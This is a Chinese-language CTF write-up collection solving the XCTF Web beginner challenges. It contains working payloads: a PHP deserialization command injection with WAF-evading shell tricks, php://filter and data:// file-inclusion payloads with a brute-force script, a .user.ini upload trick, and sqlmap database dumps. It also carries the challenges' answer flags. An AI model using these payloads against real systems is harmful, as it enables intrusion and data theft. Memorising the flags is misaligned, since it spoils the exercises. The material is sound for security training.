攻防世界Web难度一整合
unseping


- 接收一个经过 Base64 编码的 POST 参数
ctf。 - 对该参数进行
base64_decode后unserialize(反序列化)。 - 定义了一个
ease类,包含:- 私有属性
$method和$args - 构造函数
__construct - 析构函数
__destruct - 一个危险函数
ping($ip),内部使用exec()执行命令 - 一个 WAF(Web Application Firewall)函数
waf($str),用于过滤危险字符/命令 __wakeup()方法,在反序列化时自动调用,对$args中每个参数进行 WAF 过滤
- 私有属性
php反序列化题目
<?php
class ease {
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
// 创建对象
$obj = new ease("ping", array("dir"));
// 序列化
$serialized = serialize($obj);
// Base64编码
$base64 = base64_encode($serialized);
echo "序列化字符串: " . $serialized . "n";
echo "Base64编码: " . $base64 . "n";
// 验证解码
echo "n验证解码:n";
$decoded = base64_decode($base64);
echo "Base64解码后: " . $decoded . "n";
$unserialized = unserialize($decoded);
echo "反序列化对象类型: " . get_class($unserialized) . "n";
// 通过反射访问私有属性
$reflection = new ReflectionClass($unserialized);
$methodProperty = $reflection->getProperty('method');
$methodProperty->setAccessible(true);
$argsProperty = $reflection->getProperty('args');
$argsProperty->setAccessible(true);
echo "Method: " . $methodProperty->getValue($unserialized) . "n";
echo "Args: ";
print_r($argsProperty->getValue($unserialized));
?>
序列化字符串: O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:3:"dir";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJkaXIiO319

获取当前目录
查看flag_1s_hers
l''s→ 绕过ls关键词检测${IFS}→ 绕过空格过滤(shell 会解析为实际空格)f''lag_1s_here→ 绕过flag关键词检测
<?php
// 定义 ease 类(必须与目标代码结构一致)
class ease {
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
// 构造绕过 WAF 的命令
$command = "l''s${IFS}f''lag_1s_here"; // 注意:${IFS} 需要转义 $
// 创建对象
$obj = new ease("ping", [$command]);
// 生成 payload
$serialized = serialize($obj);
$payload = base64_encode($serialized);
// 输出结果
echo "Serialized object:n";
echo $serialized . "nn";
echo "Base64 payload (for ctf=):n";
echo $payload . "n";
?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWYnJ2xhZ18xc19oZXJlIjt9fQ==

- WAF 检查的是原始字符串,不是 shell 解析后的内容
- 原始字符串
l''s${IFS}f''lag_1s_here:- ✅ 无空格字符(只有
${IFS}文本) - ✅ 无
ls连续子串(是l''s) - ✅ 无
flag连续子串(是f''lag_1s_here) - ✅ 无
/字符
- ✅ 无空格字符(只有
查看
使用:
c''at→ 绕过catf""lag_1s_here+f''lag_...p''hp→ 绕过flag和php${IFS}→ 绕过空格$(printf "57")→ 绕过/
<?php
class ease {
private $method;
private $args;
// 构造函数(虽然反序列化时不调用,但定义更清晰)
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
// 构造绕过 WAF 的命令
$command = 'c''at${IFS}f""lag_1s_here$(printf${IFS}"57")f''lag_831b69012c67b35f.p''hp';
// 创建对象
$obj = new ease("ping", [$command]);
// 序列化 + Base64 编码
$serialized = serialize($obj);
$payload = base64_encode($serialized);
echo "Serialized object:n";
echo $serialized . "nn";
echo "Base64-encoded payload (use as ctf=...):n";
echo $payload . "n";
?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYycnYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZicnbGFnXzgzMWI2OTAxMmM2N2IzNWYucCcnaHAiO319

cyberpeace{81801bc84f9eee657f56075e972eab97}
file_include


漏洞分析
- 通过GET参数
filename动态包含任意文件,且未做任何安全过滤(但实际受check.php影响)。 include()会执行PHP代码,若直接包含flag.php,其中的PHP逻辑可能隐藏或销毁Flag。
漏洞点在于include($filename);直接使用了用户可控的$_GET['filename']参数,且未做严格过滤,可通过文件包含漏洞读取服务器上的敏感文件(如check.php、flag相关文件等)。
php://filter 直接用是直接进行了过滤

用转换过滤器
使用string.rot13过滤器 不行
使用convert.iconv.UTF-8.UTF-16:可以

可以发现出东西了,所以用的是这个
测试所有不包含过滤词的编码组合
双重转换尝试
py3
import requests
import time
base_url = "http://61.147.171.105:55432"
encodings = [
'UCS-4', 'UCS-4LE', 'UCS-2', 'UCS-2LE',
'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-32', 'UTF-32LE',
'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',
'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8',
'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13',
'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254',
'CP1255', 'CP1256', 'CP1257', 'CP1258',
'ASCII', 'US-ASCII', 'KOI8-R', 'KOI8-U'
]
paths = ["flag.php", "./flag.php", "/flag.php", "../flag.php", "../../flag.php", "../../../flag.php"]
encoding_map = {
'UCS-4': 'utf-32',
'UCS-4LE': 'utf-32le',
'UCS-2': 'utf-16',
'UCS-2LE': 'utf-16le',
'UTF-8': 'utf-8',
'UTF-16': 'utf-16',
'UTF-16LE': 'utf-16le',
'UTF-32': 'utf-32',
'UTF-32LE': 'utf-32le',
'ISO-8859-1': 'iso-8859-1',
'ISO-8859-2': 'iso-8859-2',
'ISO-8859-3': 'iso-8859-3',
'ISO-8859-4': 'iso-8859-4',
'ISO-8859-5': 'iso-8859-5',
'ISO-8859-6': 'iso-8859-6',
'ISO-8859-7': 'iso-8859-7',
'ISO-8859-8': 'iso-8859-8',
'ISO-8859-9': 'iso-8859-9',
'ISO-8859-10': 'iso-8859-10',
'ISO-8859-11': 'iso-8859-11',
'ISO-8859-13': 'iso-8859-13',
'ISO-8859-14': 'iso-8859-14',
'ISO-8859-15': 'iso-8859-15',
'ISO-8859-16': 'iso-8859-16',
'CP1250': 'cp1250',
'CP1251': 'cp1251',
'CP1252': 'cp1252',
'CP1253': 'cp1253',
'CP1254': 'cp1254',
'CP1255': 'cp1255',
'CP1256': 'cp1256',
'CP1257': 'cp1257',
'CP1258': 'cp1258',
'ASCII': 'ascii',
'US-ASCII': 'ascii',
'KOI8-R': 'koi8_r',
'KOI8-U': 'koi8_u',
}
def get_encoding_for_python(enc):
return encoding_map.get(enc, enc)
def test_payload(payload):
try:
response = requests.get(f"{base_url}?filename={payload}", timeout=5)
if response.status_code == 200:
return response.content
except:
pass
return None
def search_flag(content, dst):
try:
python_enc = get_encoding_for_python(dst)
target_bytes = b"cyberpeace"
if dst in ['UTF-16', 'UTF-16LE']:
target_bytes = b"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00"
elif dst in ['UCS-2', 'UCS-2LE']:
target_bytes = b"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00"
elif dst in ['UCS-4', 'UCS-4LE']:
target_bytes = b"cx00x00x00yx00x00x00bx00x00x00ex00x00x00rx00x00x00px00x00x00ex00x00x00ax00x00x00cx00x00x00ex00x00x00"
return target_bytes in content
except:
return False
found = False
print("Starting brute force attack...")
print("=" * 60)
for path in paths:
if found:
break
for src in encodings:
if found:
break
for dst in encodings:
if src == dst:
continue
if any(word in src.upper() for word in ['BE']) or any(word in dst.upper() for word in ['BE']):
continue
payload = f"php://filter/convert.iconv.{src}.{dst}/resource={path}"
print(f"Testing: {payload}")
content = test_payload(payload)
if content is None or len(content) == 0:
continue
if search_flag(content, dst):
print(f"nSUCCESS! Found flag with payload: {payload}")
print("-" * 60)
try:
python_enc = get_encoding_for_python(dst)
decoded = content.decode(python_enc, errors='ignore')
print(f"Decoded content:n{decoded}")
if 'cyberpeace{' in decoded:
start = decoded.find('cyberpeace{')
end = decoded.find('}', start)
if end != -1:
flag = decoded[start:end+1]
print(f"nFlag found: {flag}")
else:
print(f"Raw content (hex): {content[:200].hex()}")
except:
print(f"Raw content (first 500 bytes): {content[:500]}")
found = True
break
time.sleep(0.03)
if not found:
print("nTrying double conversion filters...")
print("=" * 60)
for path in paths:
if found:
break
for enc1 in encodings:
if found:
break
for enc2 in encodings:
if enc1 == enc2 or enc1 == 'UTF-8' or enc2 == 'UTF-8':
continue
if any(word in enc1.upper() for word in ['BE']) or any(word in enc2.upper() for word in ['BE']):
continue
payload = f"php://filter/convert.iconv.UTF-8.{enc1}|convert.iconv.{enc1}.{enc2}|convert.iconv.{enc2}.UTF-8/resource={path}"
print(f"Testing: {payload}")
content = test_payload(payload)
if content is None or len(content) == 0:
continue
if b'cyberpeace' in content:
print(f"nSUCCESS! Found flag with payload: {payload}")
print("-" * 60)
try:
decoded = content.decode('utf-8', errors='ignore')
print(f"Decoded content:n{decoded}")
if 'cyberpeace{' in decoded:
start = decoded.find('cyberpeace{')
end = decoded.find('}', start)
if end != -1:
flag = decoded[start:end+1]
print(f"nFlag found: {flag}")
except:
print(f"Raw content: {content[:500]}")
found = True
break
time.sleep(0.03)
if not found:
print("nTrying specific known payloads...")
print("=" * 60)
specific_payloads = [
"php://filter/convert.iconv.UCS-4.UCS-4LE/resource=flag.php",
"php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php",
"php://filter/convert.iconv.UCS-2.UCS-2LE/resource=flag.php",
"php://filter/convert.iconv.UTF-8.ISO-8859-1/resource=flag.php",
"php://filter/convert.iconv.UTF-8.UTF-32LE/resource=flag.php",
"php://filter/convert.iconv.ISO-8859-1.UTF-8/resource=flag.php",
"php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php",
"php://filter/convert.iconv.UTF-8.UCS-4/resource=flag.php",
]
for payload in specific_payloads:
print(f"Testing: {payload}")
content = test_payload(payload)
if content and len(content) > 0:
if b'cyberpeace' in content or b'cyberpeace{' in content:
print(f"nSUCCESS! Found flag with payload: {payload}")
print("-" * 60)
print(f"Raw content: {content[:500]}")
try:
if 'UCS-4LE' in payload:
decoded_bytes = b''
for i in range(0, len(content), 4):
if i + 4 <= len(content):
chunk = content[i:i+4]
decoded_bytes += chunk[::-1]
try:
decoded = decoded_bytes.decode('utf-32le', errors='ignore')
print(f"Decoded UCS-4LE: {decoded}")
except:
pass
elif 'UTF-16LE' in payload:
decoded = content.decode('utf-16le', errors='ignore')
print(f"Decoded UTF-16LE: {decoded}")
elif 'UCS-2LE' in payload:
decoded = content.decode('utf-16le', errors='ignore')
print(f"Decoded UCS-2LE: {decoded}")
else:
decoded = content.decode('utf-8', errors='ignore')
print(f"Decoded: {decoded}")
except:
pass
found = True
break
else:
try:
decoded = content.decode('utf-8', errors='ignore')
if 'cyberpeace' in decoded:
print(f"nFound cyberpeace in decoded text: {decoded[:200]}")
found = True
break
except:
pass
time.sleep(0.03)
if not found:
print("nFlag not found with brute force.")
print("Trying direct file inclusion...")
print("=" * 60)
for path in paths:
print(f"Testing direct: {path}")
content = test_payload(path)
if content and len(content) > 0:
print(f"Response length: {len(content)}")
if b'cyberpeace' in content:
print(f"Found cyberpeace in direct inclusion!")
print(f"Content: {content[:500]}")
found = True
break
time.sleep(0.03)
print("n" + "=" * 60)
print("Brute force attack completed.")

发现正确的payload

cyberpeace{49497801489bc5f0b68fc832e22ddc08}
easyphp


<?php
highlight_file(__FILE__); // 显示当前源码
$key1 = 0; // 条件1标记,需置1
$key2 = 0; // 条件2标记,需置1
$a = $_GET['a']; // 接收GET参数a
$b = $_GET['b']; // 接收GET参数b
// 第一组条件:a的验证
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
// 第二组条件:b的验证
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1; // 满足a+b条件,key1置1
}else{
die("Emmm...再想想"); // b不满足
}
}else{
die("Emmm..."); // a不满足
}
// 第三组条件:c的验证
$c=(array)json_decode(@$_GET['c']); // c需是JSON解析后转数组
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL; // array_search需找到"DGGJ"(非false)
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL; // 所有元素不能严格等于"DGGJ"
}
$key2 = 1; // 满足c的所有子条件,key2置1
}else{
die("no hack"); // c["n"]格式不满足
}
}else{
die("no"); // c或c["m"]不满足
}
// 最终条件:key1和key2均为1
if($key1 && $key2){
include "Hgfks.php"; // 包含flag文件
echo "You're right"."n";
echo $flag; // 输出flag
}
?>
原理就是:构造 GET 参数 a、b、c,满足代码中所有条件,让 $key1 和 $key2 都为 1,最终输出 flag。
破解参数 a
a必须存在;- 转成数字要大于 600 万;
- 字符长度≤3。
PHP 能识别科学计数法,比如 7e6 等价于 7000000(700 万),且 7e6 只有 3 个字符,完美满足所有条件。
最终值:a=7e6
破解参数 b
py3脚本呈现
import hashlib
target_suffix = "8b184b"
# 枚举数字(数字枚举效率最高,CTF题目通常为简单字符)
for i in range(10000000):
b_str = str(i)
md5_result = hashlib.md5(b_str.encode()).hexdigest()
if md5_result[-6:] == target_suffix:
print(f"找到b的值:{b_str}")
print(f"MD5完整值:{md5_result}")
break

b的 MD5 值最后 6 位必须是 8b184b
MD5 是 0e78586068984c25d999c5e08b184b,最后 6 位正好是 8b184b
b=53724
破解参数 c
c是合法 JSON 字符串,解析后转成数组;c["m"]不是纯数字,但数值上大于 2022;c["n"]是数组、长度 = 2、第一个元素也是数组;- 能 “找到” DGGJ(松散匹配),但所有元素都不能严格等于 DGGJ。
利用 PHP 的比较特性:字符串 DGGJ 和数字 0 松散相等(==),但严格不等(===)。
c["m"] 选 9999a:不是纯数字,转数字是 9999(>2022);
c["n"] 选 [["12345"], 0]:
是数组、长度 2、第一个元素是数组(满足格式);
array_search 找 DGGJ 时,会匹配到 0(松散相等),不返回 false;
遍历元素时,["12345"] 和 0 都严格不等于 DGGJ(不触发 die)。
最终值(JSON 格式):c={"m":"9999a","n":[["12345"],0]}
http://61.147.171.105:52908/?a=7e6&b=53724&c={%22m%22:%229999a%22,%22n%22:[[%2212345%22],0]}

cyberpeace{e100bcec9ec33cc4eb21a52a18aedfe8}
fileclude


WRONG WAY! <?php
include("flag.php"); // 包含flag文件,需通过文件包含读取
highlight_file(__FILE__); // 显示当前源码
if(isset($_GET["file1"]) && isset($_GET["file2"])) // 必须传GET参数file1、file2
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2)) // 两个参数都不能为空
{
if(file_get_contents($file2) === "hello ctf") // file2读取内容必须严格等于"hello ctf"
{
include($file1); // 满足条件则包含file1,目标是通过此读取flag.php
}
}
else
die("NONONO"); // 参数为空则终止
}
要拿到 flag 需满足 2 个核心条件:
file_get_contents($file2) === "hello ctf":利用 PHP伪协议构造file2,让file_get_contents读取到指定字符串;include($file1):利用 PHP文件包含伪协议构造file1,读取flag.php的内容(避免直接解析 PHP 代码,需编码输出)。1:构造
file2(满足内容等于 “hello ctf”)
file_get_contents支持data://伪协议(数据流协议),可直接构造包含指定内容的数据流:
- 格式:
data://text/plain,hello ctf(注意空格需 URL 编码为%20); 原理:
file_get_contents("data://text/plain,hello ctf")会直接返回字符串hello ctf,满足严格等于条件。2:构造
file1(读取 flag.php)
利用php://filter伪协议读取flag.php(PHP 文件直接 include 会解析代码,需 base64 编码输出内容):
- 格式:
php://filter/read=convert.base64-encode/resource=flag.php; - 原理:该伪协议会读取
flag.php的原始内容并 base64 编码,避免 PHP 解析,直接输出编码后的内容,解码后即可得到 flag。
完整 Payload
http://61.147.171.103:53569/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

base解码

cyberpeace{b96ef8b46aa3c4652c5fc3ab55df0bf1}
fileinclude


访问index.php

发现页面没有东西curl 或者抓包看看

可以发现源码
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>
漏洞核心
@include($lan.".php") 中,$lan 来自 Cookie 的language参数,且会拼接.php后缀。利用 PHP 伪协议php://filter可读取flag.php的原始内容,无需截断(拼接后恰好是flag.php)。
伪协议构造:通过php://filter/read=convert.base64-encode/resource=flag构造language的 Cookie 值,拼接后为php://filter/.../resource=flag.php,精准读取目标文件;
用curl命令 构造Payload
curl -v -H "Cookie: language=php://filter/read=convert.base64-encode/resource=flag" http://61.147.171.35:54585/

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2E2NzJkZDNiYTM3ODk1OGYzMDYxYTg0ZWJhODE1YjYxfSI7DQo/Pg==
解码

cyberpeace{a672dd3ba378958f3061a84eba815b61}
easyupload

是一个文件上传的题目

上传php被过滤 修改后缀名字被过滤,上传图片也不行,gif什么的也不行 头像是index.php可以解析php


发现可以通过.user.ini让他解析php的内容。
作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。它用于覆盖或追加全局配置文件(如·php.ini)中的·PHP.配置选项。
作用范围:存放该文件的目录以及其子目录
优先级:较高,可以覆盖 php.ini
生效方式:立即生效
创建.user.ini
写入
GIF89a
auto_prepend_file=sanjiu.jpg

auto_prepend_file可以让所有的php文件自动的包含某个文件
先上传.user.ini burp抓包
修改coontent-type为图片格式
image/jpg

上传成功

图片内容

上传图片


上传成功

地址是/uploads/index.php


cyberpeace{8b07ba4213ab9de1979dd13be0bb0c12}
inget


方法一
SQL注入题目万能密码直接出来
/?id=' or 1=1 -- +


方法二
知道注入点了
直接SQLmap
http://61.147.171.35:50586/?id=1
检测 SQL 注入点
sqlmap -u "http://61.147.171.35:50586/?id=1" --batch

爆破所有数据库名
sqlmap -u "http://61.147.171.35:50586/?id=1" --dbs --batch

cyber就是我们这个库名字
爆cyber库的所有表名
sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber --tables --batch --threads 5

爆cyber表的所有字段
查看cyber表里面的内容
sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber -T cyber --dump --batch --threads 5

一步到位(直接 dump 目标库所有内容)
sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber --dump-all --batch --threads 5

cyberpeace{f59c5eac45f4b644cda86d200863a07d}
robots
robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

访问robots.txt

访问f1ag_1s_h3re.php

cyberpeace{db690b485afed879cd99db3da0d56016}
get_post
get是从服务器上获取数据,post是向服务器传送数据


http://61.147.171.35:55998/?a=1
Get提交就行


cyberpeace{fa8b4fcea7ad1cc16973cadea4dbf01f}
disabled_button


disabled 本质是标记元素为「禁用状态」:
- 元素无法响应用户操作(点击、输入、选中、获取焦点等);
- 浏览器会默认给禁用元素渲染「不可交互样式」(比如变灰、降低透明度);
- 表单元素(如 input、select)禁用后,提交表单时不会携带其值。
就是直接禁用 直接把这个删除就行

cyberpeace{6370c63e7750751f1e87b5b69b091794}
cookie

Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 。
Cookie就是一些数据,用于存储服务器返回给客服端的信息,客户端进行保存。在下一次访问该网站时,客户端会将保存的cookie一同发给服务器,服务器再利用cookie进行一些操作。利用cookie我们就可以实现自动登录,保存游览历史,身份验证等功能。
f12 查看cookie

发现cookie.php访问一下

看响应包
f12可以看

或者burp抓包

cyberpeace{b56a1f9d2c2d0b8483ac31b68ed27724}
backup

就是一个备份文件
常见的备份文件后缀
常见的网站源码备份文件后缀 bak
old
tar
tar.gz
zip
rar
……
常见的网站源码备份文件名
web
website
backup
back
www
wwwroot
temp
……
index.php 文件的备份文件名通常会有一些常见的后缀,如 .bak、.old、.backup 等。

访问一个一个试试就行
http://61.147.171.105:54139/index.php.bak
访问这个就行
直接下载


扫描目录也行就可以看到
备份文件

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
ics-06

只有报表中心可以访问

我们发现URL栏有id字样说明我们可以修改id查看内容

修改id发现没有报错说明就是修改id字段 burp爆破


id=2333爆出


cyberpeace{77f051e7121c88862bcb7e7fe7d1099c}
PHP2


页面什么也没有直接扫描


页面存在index.php和index.phps访问

发现还是什么也没有
加一个s就可以发现源码
什么是phps文件?
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

分析
PHP 接收 GET 参数时,会自动对参数做一次 URL 解码;
代码中又手动调用 urldecode() 做了第二次 URL 解码,形成「二次 URL 解码漏洞」;
第一段是「严格等于(===)」,第二段是「松散等于(==)」,只要绕过第一段严格判断,同时让第二段解码后等于 admin 即可拿到 Flag。
admin 每个字符的一次 URL 编码:
a→%61、d→%64、m→%6D、i→%69、n→%6E- 完整一次编码:
%61%64%6D%69%6E
然后对整个 admin 二次编码:
?id=%2561%2564%256D%2569%256E
http://61.147.171.105:61342/index.php?id=%2561%2564%256D%2569%256E

cyberpeace{6cea349f70d33a6c15495db0ff62c28d}
Training-WWW-Robots


访问robots.txt

发现fl0g.php 访问

cyberpeace{7b662f02b06344f6d5b7e67c2b8fd7d2}
unserialize3


class xctf{
public $flag = '111'; // 实际环境中为真实 Flag,此处仅为示例
public function __wakeup(){
exit('bad requests'); // 触发该魔术方法则直接退出,无法获取 Flag
}
}
//接收 code 参数并反序列化,如 unserialize($_GET['code'])
反序列化题目
__wakeup():反序列化对象时会自动触发该方法,本题中触发则直接 exit,必须绕过;
构造绕过 __wakeup() 的序列化字符串,通过 code 参数传入,反序列化后获取 flag 属性值
先编写 PHP 代码生成 xctf 类的正常序列化字符串:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$obj = new xctf();
echo serialize($obj); // 输出正常序列化结果
?>

绕过 __wakeup () 的修改
将「声明的属性个数」从 1 改为 大于 1 的任意数(如 2),修改后的序列化字符串:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Payload
code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
http://61.147.171.105:55590/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

cyberpeace{70090dbaab785cd191fd9c1c29b791c2}
view_source


直接F12或者CTRL+U


cyberpeace{dda5176a117a894c93b23b208c9e5dc7}
weak_auth


我就随便输入弱密码就进入了
admin/123456

直接弱密码字典爆破也行
演示一遍


直接就出来了
cyberpeace{b5ae1e58111fb99892a90cb432f35cea
simple_php


构造 a 和 b 参数,同时满足 flag1 和 flag2 的输出条件,拿到完整 Flag
a 参数构造
$a==0(松散等于 0);
$a 为真(非空 / 非纯 0,布尔值 true)。
绕过关键
PHP 字符串与数字比较时,仅提取开头数字转成数字。构造「开头为 0,后面带非数字」的字符串,既满足 ==0,又非空为真。
可用 Payload
a=0abc/ a=0xyz/ a=0e123
b 参数构造
满足:
避开 is_numeric($b)(不能是纯数字 / 数字字符串);
$b>1234(转数字后大于 1234)。
绕过关键
构造「开头为大于 1234 的数字,后面带非数字」的字符串,既让 is_numeric=false,又满足数值比较条件
可用Payload
b=1235abc / b=9999xyz / b=12345@
随便组合就行
http://61.147.171.103:58465/?a=0abc&b=1235abc

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
baby_web


说了初始页面访问 index.php
发现302重定向了

burp抓包看

火狐也行

发现flag了
flag{very_baby_web}
总结
总体来说前几个难度一,根本就不是难度一的难度,🤯后面的还好








